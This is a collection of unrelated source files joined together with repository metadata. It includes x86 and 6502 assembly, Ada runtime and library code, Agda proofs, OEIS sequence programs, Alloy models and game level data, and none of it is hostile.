push ecx
push ebx
mov eax, [esp + 20 + 4] ; eax = syscall num
mov ebx, [esp + 20 + 8] ; ebx = arg0
mov ecx, [esp + 20 + 12] ; ecx = arg1
mov edx, [esp + 20 + 16] ; edx = arg2
mov esi, [esp + 20 + 20] ; esi = arg3
mov edi, [esp + 20 + 24] ; edi = arg4
int SYSCALL_INT
pop ebx
pop ecx
pop edx
pop esi
pop edi
ret
|
gcc-gcc-7_3_0-release/gcc/ada/s-tpoaal.adb
|
best08618/asylo
| 7 |
27196
|
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- SYSTEM.TASK_PRIMITIVES.OPERATIONS.ATCB_ALLOCATION --
-- --
-- B o d y --
-- --
-- Copyright (C) 2011, Free Software Foundation, Inc. --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by Ada Core Technologies, Inc. --
-- --
------------------------------------------------------------------------------
with Ada.Unchecked_Deallocation;
separate (System.Task_Primitives.Operations)
package body ATCB_Allocation is
---------------
-- Free_ATCB --
---------------
procedure Free_ATCB (T : Task_Id) is
Tmp : Task_Id := T;
Is_Self : constant Boolean := T = Self;
procedure Free is new
Ada.Unchecked_Deallocation (Ada_Task_Control_Block, Task_Id);
begin
if Is_Self then
declare
Local_ATCB : aliased Ada_Task_Control_Block (0);
-- Create a dummy ATCB and initialize it minimally so that "Free"
-- can still call Self and Defer/Undefer_Abort after Tmp is freed
-- by the underlying memory management library.
begin
Local_ATCB.Common.LL.Thread := T.Common.LL.Thread;
Local_ATCB.Common.Current_Priority := T.Common.Current_Priority;
Specific.Set (Local_ATCB'Unchecked_Access);
Free (Tmp);
-- Note: it is assumed here that for all platforms, Specific.Set
-- deletes the task specific information if passed a null value.
Specific.Set (null);
end;
else
Free (Tmp);
end if;
end Free_ATCB;
--------------
-- New_ATCB --
--------------
function New_ATCB (Entry_Num : Task_Entry_Index) return Task_Id is
begin
return new Ada_Task_Control_Block (Entry_Num);
end New_ATCB;
end ATCB_Allocation;
|
dv3/java/hd/init.asm
|
olifink/smsqe
| 0 |
91346
|
; DV3 java HDD inititilization 1.00 @ <NAME> 2020
;
; based on
;
; DV3 Q40 IDE Initialisation V3.00 1992 <NAME>
section dv3
xdef hd_init
xref.l hd_vers
xref.s hd.rev
xref dv3_link
xref dv3_acdef
xref gu_fopen
xref gu_fclos
include 'dev8_dv3_keys'
include 'dev8_dv3_hd_keys'
include 'dev8_dv3_mac'
include 'dev8_keys_qdos_ioa'
include 'dev8_keys_qdos_sms'
include 'dev8_keys_sys'
include 'dev8_mac_assert'
include 'dev8_mac_basic'
include 'dev8_mac_proc'
include 'dev8_keys_qlv'
;+++
; DV3 JAVA HD disk initialisation
;
; d6 s
; d7 s
; a3 smashed
;---
hd_init
lea hd_proctab,a1
move.w sb.inipr,a2
jsr (a2) ; link in procedures
lea hd_table,a3
jsr dv3_link ; link in driver
hdi_rts
rts
hd_table
link_table HDD, hd.rev, hdl_end, ddf_dtop
buffered
sectl 512
mtype ddl.hd
msect 255
density ddf.dd
poll hd_poll_check
check hd_check
direct hd_direct
rsect hd_rdirect
wsect hd_wdirect
slbfill hd_slbfill
slbupd hd_slbupd
dflush hd_dflush
fflush hd_fflush
;;; fslave hd_fslave
mformat hd_mformat
status hd_fstatus
done hd_done
thing hd_tname,hd_thing
preset_b hdl_apnd-1, 0,hdl.apnd
preset_b hdl_maxd, hdl.maxd, 0
preset_w hdl_paus,30
preset_b hdl_part,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
preset_b hdl_remd,0,0,0,0,0,0,0,0
; preset_b hdl_remd,1,1,1,1,1,1,1,1
preset_v hdl_rsint,hd_rsint
preset_v hdl_wsint,hd_wsint
preset_v hdl_ckrdy,hd_ckrdy
preset_v hdl_ckwp,hd_ckwp
preset_v hdl_lock,hd_lock
preset_v hdl_unlock,hd_unlock
preset_v hdl_ststp,hd_ststp
link_end hdl_buff
section exten
proc_thg {HDD Control}
fun_thg {HDD Control}
HDD_use proc {USE }
HDD_drive proc {DRIV}
;HDD_start proc {STRT}
;HDD_stop proc {STOP}
HDD_remv proc {REMV}
HDD_wp proc {WPRT}
HDD_format proc {FRMT}
;HDD_slug proc {SLUG}
HDD_drive$
move.l #260,d7
bsr.s fun_thg
dc.l 'DRV$'
hd_proctab
proc_stt
proc_ref HDD_USE
proc_ref HDD_DRIVE
proc_ref HDD_REMV
proc_ref HDD_WP
proc_ref HDD_FORMAT
proc_end
proc_stt
proc_ref HDD_DRIVE$
proc_end
end
|
day04/src/password.adb
|
jwarwick/aoc_2019_ada
| 0 |
20937
|
<filename>day04/src/password.adb
pragma Ada_2012;
-- with Ada.Text_IO; use Ada.Text_IO;
with Ada.Strings.Fixed;
package body Password is
function is_monotonic(str : in String) return Boolean
is
curr : Natural := Natural'First;
last : Natural := Natural'First;
begin
for s in str'Range loop
curr := Natural'Value((1 => str(s)));
if curr < last then
return false;
end if;
last := curr;
end loop;
return true;
end is_monotonic;
function has_duplicate(str : in String) return Boolean
is
last : Character := str(str'First);
begin
for s in str'First+1 .. str'Last loop
if str(s) = last then
return true;
end if;
last := str(s);
end loop;
return false;
end has_duplicate;
function has_standalone_duplicate(str : in String) return Boolean
is
n3 : Character := str(str'First);
n2 : Character := str(str'First+1);
n1 : Character := str(str'First+2);
begin
-- special case of first two digits being the duplicate pair
if n3 = n2 and then n1 /= n2 then
return true;
end if;
for s in str'First+3 .. str'Last loop
if n2 = n1 and then str(s) /= n1 and then n3 /= n2 then
return true;
end if;
n3 := n2;
n2 := n1;
n1 := str(s);
end loop;
-- special case of last two digits being the duplicate pair
if str(str'Last) = str(str'Last - 1) and then str(str'Last - 1) /= str(str'Last - 2) then
return true;
end if;
return false;
end has_standalone_duplicate;
function part1_count (first : in Natural; last : in Natural) return Natural
is
subtype PasswordValue is Natural range first .. last;
count : Natural := 0;
function to_string(p : in PasswordValue) return String
is
begin
return Ada.Strings.Fixed.Trim(PasswordValue'IMAGE(p), Ada.Strings.Left);
end to_string;
begin
for p in PasswordValue'Range loop
declare
str : constant String := to_string(p);
begin
if has_duplicate(str) and then is_monotonic(str) then
count := count + 1;
end if;
end;
end loop;
return count;
end part1_count;
function part2_count (first : in Natural; last : in Natural) return Natural
is
subtype PasswordValue is Natural range first .. last;
count : Natural := 0;
function to_string(p : in PasswordValue) return String
is
begin
return Ada.Strings.Fixed.Trim(PasswordValue'IMAGE(p), Ada.Strings.Left);
end to_string;
begin
for p in PasswordValue'Range loop
declare
str : constant String := to_string(p);
begin
if has_standalone_duplicate(str) and then is_monotonic(str) then
count := count + 1;
end if;
end;
end loop;
return count;
end part2_count;
end Password;
|
src/asf-converters-numbers.ads
|
jquorning/ada-asf
| 12 |
6824
|
-----------------------------------------------------------------------
-- asf-converters-numbers -- Floating point number converters
-- Copyright (C) 2010, 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with EL.Objects;
with ASF.Components;
with ASF.Contexts.Faces;
with ASF.Locales;
private with Util.Locales;
private with Ada.Text_IO.Editing;
-- The `ASF.Converters.Numbers` provides a floating point number converter.
-- It can be used to print floating point numbers in various formats.
package ASF.Converters.Numbers is
type Number_Converter is new Converter with private;
type Number_Converter_Access is access all Number_Converter'Class;
-- Convert the object value into a string. The object value is associated
-- with the specified component.
-- If the string cannot be converted, the Invalid_Conversion exception should be raised.
overriding
function To_String (Convert : in Number_Converter;
Context : in ASF.Contexts.Faces.Faces_Context'Class;
Component : in ASF.Components.Base.UIComponent'Class;
Value : in EL.Objects.Object) return String;
-- Convert the string into an object for the specified component.
-- If the string cannot be converted, the Invalid_Conversion exception should be raised.
overriding
function To_Object (Convert : in Number_Converter;
Context : in ASF.Contexts.Faces.Faces_Context'Class;
Component : in ASF.Components.Base.UIComponent'Class;
Value : in String) return EL.Objects.Object;
-- Set the picture that must be used for the conversion.
procedure Set_Picture (Converter : in out Number_Converter;
Picture : in String);
-- Get the currency to be used from the resource bundle in the user's current locale.
function Get_Currency (Converter : in Number_Converter;
Bundle : in ASF.Locales.Bundle) return String;
-- Get the separator to be used from the resource bundle in the user's current locale.
function Get_Separator (Converter : in Number_Converter;
Bundle : in ASF.Locales.Bundle) return Character;
-- Get the radix mark to be used from the resource bundle in the user's current locale.
function Get_Radix_Mark (Converter : in Number_Converter;
Bundle : in ASF.Locales.Bundle) return Character;
-- Get the fill character to be used from the resource bundle in the user's current locale.
function Get_Fill (Converter : in Number_Converter;
Bundle : in ASF.Locales.Bundle) return Character;
private
type Number_Converter is new Converter with record
Picture : Ada.Text_IO.Editing.Picture;
Locale : Util.Locales.Locale;
Depend_On_Local : Boolean := False;
end record;
-- Get the locale that must be used to format the number.
function Get_Locale (Convert : in Number_Converter;
Context : in ASF.Contexts.Faces.Faces_Context'Class)
return Util.Locales.Locale;
end ASF.Converters.Numbers;
|
src/test/ref/procedure-callingconvention-stack-10.asm
|
jbrandwood/kickc
| 2 |
97297
|
<filename>src/test/ref/procedure-callingconvention-stack-10.asm
// Test a procedure with calling convention stack
// Returning and passing struct values
// Commodore 64 PRG executable file
.file [name="procedure-callingconvention-stack-10.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(__start)
.const OFFSET_STRUCT_POINT_Y = 1
.const SIZEOF_STRUCT_POINT = 2
.const STACK_BASE = $103
.label SCREEN = $400
.label idx = 4
.segment Code
__start: {
// char idx = 0
lda #0
sta.z idx
jsr main
rts
}
// void print(__zp(2) struct Point p)
print: {
.const OFFSET_STACK_P = 0
.label p = 2
tsx
lda STACK_BASE+OFFSET_STACK_P,x
sta.z p
lda STACK_BASE+OFFSET_STACK_P+1,x
sta.z p+1
// SCREEN[idx++] = p.x
lda.z p
ldy.z idx
sta SCREEN,y
// SCREEN[idx++] = p.x;
inc.z idx
// SCREEN[idx++] = p.y
lda.z p+OFFSET_STRUCT_POINT_Y
ldy.z idx
sta SCREEN,y
// SCREEN[idx++] = p.y;
inc.z idx
// }
rts
}
// __zp(6) struct Point get(__register(X) char i)
get: {
.const OFFSET_STACK_I = 0
.const OFFSET_STACK_RETURN_0 = 0
.label return = 6
.label p = 8
tsx
lda STACK_BASE+OFFSET_STACK_I,x
tax
// i/2
txa
lsr
// struct Point p = { i, i/2 }
stx.z p
sta.z p+OFFSET_STRUCT_POINT_Y
// return p;
ldy #SIZEOF_STRUCT_POINT
!:
lda p-1,y
sta return-1,y
dey
bne !-
// }
tsx
lda.z return
sta STACK_BASE+OFFSET_STACK_RETURN_0,x
lda.z return+1
sta STACK_BASE+OFFSET_STACK_RETURN_0+1,x
rts
}
main: {
.label p = 2
.label i = 5
lda #0
sta.z i
__b1:
// for(char i=0;i<5;i++)
lda.z i
cmp #5
bcc __b2
// }
rts
__b2:
// struct Point p = get(i)
lda.z i
pha
pha
jsr get
pla
sta.z p
pla
sta.z p+1
// print(p)
pha
lda.z p
pha
jsr print
pla
pla
// for(char i=0;i<5;i++)
inc.z i
jmp __b1
}
|
libsrc/_DEVELOPMENT/input/zx/c/sdcc_iy/in_wait_nokey.asm
|
meesokim/z88dk
| 0 |
179851
|
<filename>libsrc/_DEVELOPMENT/input/zx/c/sdcc_iy/in_wait_nokey.asm<gh_stars>0
; void in_wait_nokey(void)
SECTION code_input
PUBLIC _in_wait_nokey
EXTERN asm_in_wait_nokey
defc _in_wait_nokey = asm_in_wait_nokey
|
test/Succeed/Issue2670.agda
|
shlevy/agda
| 1,989 |
13245
|
open import Agda.Builtin.Equality
_∋_ : ∀ {a} (A : Set a) → A → A
A ∋ x = x
cong : ∀ {a b} {A : Set a} {B : Set b}
(f : A → B) {x y} → x ≡ y → f x ≡ f y
cong f refl = refl
record IsRG (Node : Set) (Edge : Set) : Set where
field
src : Edge → Node
tgt : Edge → Node
rfl : Node → Edge
eq-src-rfl : ∀{x} → src (rfl x) ≡ x
eq-tgt-rfl : ∀{x} → tgt (rfl x) ≡ x
open IsRG {{...}} public
module norecord where
source : ∀{Node Edge : Set} {{i : IsRG Node Edge}} → Edge → Node
source x = src x
lemma1 : ∀{Node Edge : Set} {{i : IsRG Node Edge}} → (e : Edge) → (Node ∋ source e) ≡ src e
lemma1 e = refl
rfl-src : ∀{Node Edge : Set} {{i : IsRG Node Edge}} → Edge → Edge
rfl-src {Node} e = rfl (Node ∋ src e)
lemma2 : ∀{Node Edge : Set} {{i : IsRG Node Edge}} → (n : Node) → rfl-src {Node} (rfl n) ≡ (Edge ∋ rfl n)
lemma2 {Node}{Edge} n = cong (rfl {Node = Node}) (eq-src-rfl {Edge = Edge})
module yesrecord where
record RG : Set₁ where
constructor mkRG
field
Node : Set
Edge : Set
{{isRG}} : IsRG Node Edge
open RG public
source : ∀{rg} → Edge rg → Node rg
source x = src x
lemma1 : ∀{rg} → (e : Edge rg) → (Node rg ∋ source {mkRG (Node rg) (Edge rg)} e) ≡ src e
--causes problems:
--lemma1 : ∀{rg} → (e : Edge rg) → (Node rg ∋ source {_} e) ≡ src e
lemma1 e = refl
rfl-src : ∀{rg} → Edge rg → Edge rg
rfl-src {rg} e = rfl (Node rg ∋ src e)
lemma2 : ∀{rg} → (n : Node rg) → rfl-src {rg} (rfl n) ≡ (Edge rg ∋ rfl n)
lemma2 {rg} n = cong (rfl {Node = Node rg}) (eq-src-rfl {Edge = Edge rg})
|
sw/552tests/inst_tests/unaligned/bnez_1.asm
|
JPShen-UWM/ThreadKraken
| 1 |
105145
|
// Original test: ./lavallee/hw4/problem6/bnez_1.asm
// Author: lavallee
// Test source code follows
// This program tests the upper limit of the branch
lbi r2, 8 // sets r2 to non zero value
bnez r2, 127 // branches to largest positive twos comp number
halt
|
tut.fi/cpu.structure.test/cpu_example.setup/1.0/src/storageProgram.asm
|
berigei/ipxactexamplelib
| 13 |
94289
|
<reponame>berigei/ipxactexamplelib<gh_stars>10-100
nop
nop
set 0 2
set 1 0x120
set 2 0x1A0
store 1 1 @isoSailoo
plus 1 0
cmp 1 2
bne isoSailoo
set 1 0x1A0
set 2 0x1E0
store 1 1 @hashSailoo
plus 1 0
cmp 1 2
bne hashSailoo
set 1 0x1A0
set 2 0x220
load 3 1 @hashLukee
plus 1 0
cmp 1 2
bne hashLukee
nop
end
|
oeis/037/A037500.asm
|
neoneye/loda-programs
| 11 |
9087
|
; A037500: Base 7 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,2.
; Submitted by <NAME>
; 1,7,51,358,2506,17544,122809,859663,6017643,42123502,294864514,2064051600,14448361201,101138528407,707969698851,4955787891958,34690515243706,242833606705944,1699835246941609
mov $2,1
lpb $0
sub $0,1
add $1,$2
mul $1,7
add $2,11
mod $2,3
lpe
add $1,$2
mov $0,$1
|
Kernel/asm/scheduler.asm
|
lvittor/kernel-pure64
| 0 |
247773
|
<filename>Kernel/asm/scheduler.asm<gh_stars>0
GLOBAL _buildProcessContext, _openProcessContext
GLOBAL _int20
%macro pushState 0
push rax
push rbx
push rcx
push rdx
push rbp
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
%endmacro
%macro popState 0
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
; uint64_t _buildProcessContext(uint64_t base_rsp, uint64_t function_address, int argc, char *argv[]);
_buildProcessContext:
push rbp
mov rbp, rsp
mov rsp, rdi
push 0x0 ; SS
push rdi ; RSP
push 0x202 ; RFLAGS
push 0x8 ; CS
push rsi ; RIP
push rax
push rbx
push rcx
push rdx
push rbp
push rdx
push rcx
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
; TODO: Check if necessary
; signal pic EOI (End of Interrupt)
mov al, 20h
out 20h, al
mov rax, rsp
mov rsp, rbp
pop rbp
ret
; void _openProcessContext(uint64_t baseRSP);
_openProcessContext:
mov rsp, rdi
popState
iretq
; void _int20(void)
_int20:
int 20h
ret
|
source/oasis/program-elements-private_extension_definitions.ads
|
reznikmm/gela
| 0 |
20229
|
<filename>source/oasis/program-elements-private_extension_definitions.ads<gh_stars>0
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Elements.Definitions;
with Program.Lexical_Elements;
with Program.Elements.Subtype_Indications;
with Program.Elements.Expressions;
package Program.Elements.Private_Extension_Definitions is
pragma Pure (Program.Elements.Private_Extension_Definitions);
type Private_Extension_Definition is
limited interface and Program.Elements.Definitions.Definition;
type Private_Extension_Definition_Access is
access all Private_Extension_Definition'Class with Storage_Size => 0;
not overriding function Ancestor
(Self : Private_Extension_Definition)
return not null Program.Elements.Subtype_Indications
.Subtype_Indication_Access is abstract;
not overriding function Progenitors
(Self : Private_Extension_Definition)
return Program.Elements.Expressions.Expression_Vector_Access is abstract;
not overriding function Has_Abstract
(Self : Private_Extension_Definition)
return Boolean is abstract;
not overriding function Has_Limited
(Self : Private_Extension_Definition)
return Boolean is abstract;
not overriding function Has_Synchronized
(Self : Private_Extension_Definition)
return Boolean is abstract;
type Private_Extension_Definition_Text is limited interface;
type Private_Extension_Definition_Text_Access is
access all Private_Extension_Definition_Text'Class with Storage_Size => 0;
not overriding function To_Private_Extension_Definition_Text
(Self : in out Private_Extension_Definition)
return Private_Extension_Definition_Text_Access is abstract;
not overriding function Abstract_Token
(Self : Private_Extension_Definition_Text)
return Program.Lexical_Elements.Lexical_Element_Access is abstract;
not overriding function Limited_Token
(Self : Private_Extension_Definition_Text)
return Program.Lexical_Elements.Lexical_Element_Access is abstract;
not overriding function Synchronized_Token
(Self : Private_Extension_Definition_Text)
return Program.Lexical_Elements.Lexical_Element_Access is abstract;
not overriding function New_Token
(Self : Private_Extension_Definition_Text)
return not null Program.Lexical_Elements.Lexical_Element_Access
is abstract;
not overriding function And_Token
(Self : Private_Extension_Definition_Text)
return Program.Lexical_Elements.Lexical_Element_Access is abstract;
not overriding function With_Token
(Self : Private_Extension_Definition_Text)
return not null Program.Lexical_Elements.Lexical_Element_Access
is abstract;
not overriding function Private_Token
(Self : Private_Extension_Definition_Text)
return not null Program.Lexical_Elements.Lexical_Element_Access
is abstract;
end Program.Elements.Private_Extension_Definitions;
|
src/courbes/courbes-visiteurs.adb
|
SKNZ/BezierToSTL
| 0 |
3520
|
package body Courbes.Visiteurs is
procedure Visiter(Self : Visiteur_Courbe; C : Courbe) is
begin
null;
end;
-- En absence d'override, on se ramène au type parent
-- C'est à dire la courbe
-- Et pour profiter d'une éventuel surcharge dans héritage, on redispatch
procedure Visiter(Self : Visiteur_Courbe; D : Droite) is
-- Redispatching
CSelf : constant Visiteur_Courbe'Class := Self;
begin
CSelf.Visiter(Courbe(D));
end;
procedure Visiter(Self : Visiteur_Courbe; S : Singleton) is
-- Redispatching
CSelf : constant Visiteur_Courbe'Class := Self;
begin
CSelf.Visiter(Courbe(S));
end;
procedure Visiter(Self : Visiteur_Courbe; BC : Bezier_Cubique) is
-- Redispatching
CSelf : constant Visiteur_Courbe'Class := Self;
begin
CSelf.Visiter(Courbe(BC));
end;
procedure Visiter(Self : Visiteur_Courbe; BQ : Bezier_Quadratique) is
-- Redispatching
CSelf : constant Visiteur_Courbe'Class := Self;
begin
CSelf.Visiter(Courbe(BQ));
end;
end Courbes.Visiteurs;
|
oeis/083/A083402.asm
|
neoneye/loda-programs
| 11 |
89049
|
; A083402: Let A_n be the upper triangular matrix in the group GL(n,2) that has zero entries below the main diagonal and 1 elsewhere; a(n) is the size of the conjugacy class of this matrix in GL(n,2).
; Submitted by <NAME>(s4)
; 1,3,42,2520,624960,629959680,2560156139520,41781748196966400,2732860586067178291200,715703393163961188325785600,750102961052993818881476159078400,3145391744524297920839316348340273152000,52764474940208177704130232748554603290689536000,3540747849504483636538431910377758989153757873307648000,950433257756372298288781708552995051909948901250430582915072000,1020504367875094258783933387080016375429832724372635127829942165831680000
mov $2,1
mov $3,2
mov $4,1
lpb $0
sub $0,1
add $3,$2
mul $2,2
mul $4,$3
mul $3,4
lpe
mov $0,$4
|
programs/oeis/135/A135178.asm
|
neoneye/loda
| 22 |
26334
|
<reponame>neoneye/loda
; A135178: a(n) = p^3 + p^2 where p = prime(n).
; 12,36,150,392,1452,2366,5202,7220,12696,25230,30752,52022,70602,81356,106032,151686,208860,230702,305252,362952,394346,499280,578676,712890,922082,1040502,1103336,1236492,1306910,1455666,2064512,2265252,2590122,2704940,3330150,3465752,3894542,4357316,4685352,5207646,5767380,5962502,7004352,7226306,7684182,7920200,9438452,11139296,11748612,12061430,12703626,13709040,14055602,15876252,17040642,18260616,19537470,19975952,21330662,22267002,22745276,25239606,29028692,30176952,30762266,31955502,36374252,38386322,41902332,42630350,44111586,46397160,49565552,52034246,54583580,56328576,59015190,62728382,64642002,68585210,73735620,74795702,80248752,81370226,84797240,87134556,90720450,95652842,98184702,99467216,102065652,110131680,115738472,118611852,124500500,127516536,132131310,141692202,143329196,158633102
seq $0,40 ; The prime numbers.
mov $1,1
add $1,$0
mul $1,$0
mul $1,$0
mov $0,$1
|
src/lab/lab7.asm
|
luishendrix92/lenguajezinterfaz
| 0 |
160187
|
<gh_stars>0
.model small
.stack 64
.data
num db "caca"
.code
MAIN PROC
mov si,offset num
mov cx,4
CICLO:
lodsb
mov dl,al
mov ah,02h
int 21h
loop CICLO
CLD
rep movsb
.exit
ENDP
end MAIN
|
programs/oeis/135/A135481.asm
|
karttu/loda
| 1 |
98953
|
; A135481: a(n) = 2^A007814(n+1) - 1.
; 0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,15,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,31,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,15,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,63,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,15,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,31,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,15,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,127,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,15,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,31,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,15,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,63,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,15,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,31,0,1,0,3,0,1,0,7,0,1,0,3,0,1,0,15,0,1,0,3,0,1,0,7,0,1
mov $1,1
add $1,$0
gcd $1,4096
sub $1,1
|
oeis/037/A037757.asm
|
neoneye/loda-programs
| 11 |
11462
|
<gh_stars>10-100
; A037757: Decimal expansion of a(n) is given by the first n terms of the periodic sequence with initial period 2,3,1,0.
; Submitted by <NAME>
; 2,23,231,2310,23102,231023,2310231,23102310,231023102,2310231023,23102310231,231023102310,2310231023102,23102310231023,231023102310231,2310231023102310,23102310231023102,231023102310231023,2310231023102310231,23102310231023102310,231023102310231023102,2310231023102310231023,23102310231023102310231,231023102310231023102310,2310231023102310231023102,23102310231023102310231023,231023102310231023102310231,2310231023102310231023102310,23102310231023102310231023102,231023102310231023102310231023
add $0,1
mov $2,2
lpb $0
mov $3,$2
lpb $3
add $2,2
mod $3,5
sub $3,1
add $4,1
lpe
sub $0,1
add $2,2
mul $4,10
lpe
mov $0,$4
div $0,10
|
agda-stdlib/src/Relation/Binary/Properties/Setoid.agda
|
DreamLinuxer/popl21-artifact
| 5 |
15183
|
------------------------------------------------------------------------------
-- The Agda standard library
--
-- Additional properties for setoids
------------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
open import Relation.Binary
module Relation.Binary.Properties.Setoid {a ℓ} (S : Setoid a ℓ) where
open Setoid S
open import Data.Product using (_,_)
open import Function using (_∘_; _$_)
open import Relation.Nullary using (¬_)
open import Relation.Binary.PropositionalEquality as P using (_≡_)
------------------------------------------------------------------------------
-- Every setoid is a preorder with respect to propositional equality
isPreorder : IsPreorder _≡_ _≈_
isPreorder = record
{ isEquivalence = P.isEquivalence
; reflexive = reflexive
; trans = trans
}
preorder : Preorder a a ℓ
preorder = record
{ isPreorder = isPreorder
}
------------------------------------------------------------------------------
-- Properties of _≉_
≉-sym : Symmetric _≉_
≉-sym x≉y = x≉y ∘ sym
≉-respˡ : _≉_ Respectsˡ _≈_
≉-respˡ x≈x' x≉y = x≉y ∘ trans x≈x'
≉-respʳ : _≉_ Respectsʳ _≈_
≉-respʳ y≈y' x≉y x≈y' = x≉y $ trans x≈y' (sym y≈y')
≉-resp₂ : _≉_ Respects₂ _≈_
≉-resp₂ = ≉-respʳ , ≉-respˡ
|
PRG/levels/Giant/W8HTrap3.asm
|
narfman0/smb3_pp1
| 0 |
245741
|
<reponame>narfman0/smb3_pp1
; Original address was $BD8F
; Cheep Cheep hand trap
.word W8H_PrizeL ; Alternate level layout
.word W8H_PrizeO ; Alternate object layout
.byte LEVEL1_SIZE_08 | LEVEL1_YSTART_140
.byte LEVEL2_BGPAL_03 | LEVEL2_OBJPAL_09 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_11 | LEVEL3_VSCROLL_LOCKED | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(11) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_UNDERGROUND | LEVEL5_TIME_200
.byte $79, $0E, $71, $63, $56, $00, $B4, $06, $54, $07, $B6, $06, $54, $0E, $4E, $31
.byte $18, $21, $54, $20, $42, $54, $25, $41, $54, $2A, $43, $54, $31, $49, $54, $3D
.byte $45, $31, $3F, $00, $32, $37, $40, $33, $37, $40, $54, $43, $49, $54, $4F, $45
.byte $2E, $44, $40, $2F, $44, $40, $30, $44, $40, $31, $44, $40, $32, $44, $40, $33
.byte $44, $40, $32, $48, $40, $33, $48, $40, $34, $48, $40, $35, $48, $40, $36, $48
.byte $40, $54, $57, $44, $54, $5F, $4A, $54, $60, $49, $54, $6D, $44, $54, $72, $B6
.byte $0D, $40, $7C, $B7, $03, $48, $7F, $BB, $00, $31, $74, $80, $30, $75, $81, $31
.byte $77, $81, $30, $79, $81, $31, $7B, $80, $28, $7D, $C8, $E7, $51, $10, $FF
|
test/Succeed/Issue1886-omit-hidden.agda
|
pthariensflame/agda
| 0 |
6587
|
-- Andreas, 2016-12-30, issues #555 and #1886, reported by nad
-- Hidden parameters can be omitted in the repetition
-- of the parameter list.
record R {a} (A : Set a) : Set a
record R A where
field f : A
data D {a} (A : Set a) : Set a
data D A where
c : A → D A
|
programs/oeis/118/A118608.asm
|
neoneye/loda
| 22 |
104845
|
; A118608: Start with 1 and repeatedly reverse the digits and add 19 to get the next term.
; 1,20,21,31,32,42,43,53,54,64,65,75,76,86,87,97,98,108,820,47,93,58,104,420,43,53,54,64,65,75,76,86,87,97,98,108,820,47,93,58,104,420,43,53,54,64,65,75,76,86,87,97,98,108,820,47,93,58,104,420,43,53,54,64,65,75,76
mov $2,$0
mov $0,1
lpb $2
seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
add $0,19
sub $2,1
lpe
|
alloy4fun_models/trashltl/models/10/vQAxgBb3F22X8m2j7.als
|
Kaixi26/org.alloytools.alloy
| 0 |
2074
|
open main
pred idvQAxgBb3F22X8m2j7_prop11 {
Protected' = File
}
pred __repair { idvQAxgBb3F22X8m2j7_prop11 }
check __repair { idvQAxgBb3F22X8m2j7_prop11 <=> prop11o }
|
programs/oeis/158/A158249.asm
|
neoneye/loda
| 22 |
240756
|
; A158249: 256n^2 - 2n.
; 254,1020,2298,4088,6390,9204,12530,16368,20718,25580,30954,36840,43238,50148,57570,65504,73950,82908,92378,102360,112854,123860,135378,147408,159950,173004,186570,200648,215238,230340,245954,262080,278718,295868,313530,331704,350390,369588,389298,409520,430254,451500,473258,495528,518310,541604,565410,589728,614558,639900,665754,692120,718998,746388,774290,802704,831630,861068,891018,921480,952454,983940,1015938,1048448,1081470,1115004,1149050,1183608,1218678,1254260,1290354,1326960,1364078,1401708,1439850,1478504,1517670,1557348,1597538,1638240,1679454,1721180,1763418,1806168,1849430,1893204,1937490,1982288,2027598,2073420,2119754,2166600,2213958,2261828,2310210,2359104,2408510,2458428,2508858,2559800
mov $1,8
mov $2,$0
add $2,1
mul $2,2
mul $1,$2
pow $1,2
sub $1,$2
mov $0,$1
|
test_cases/caso liset/casoprueba.asm
|
lorainemg/s-mipsv2-processor
| 0 |
14215
|
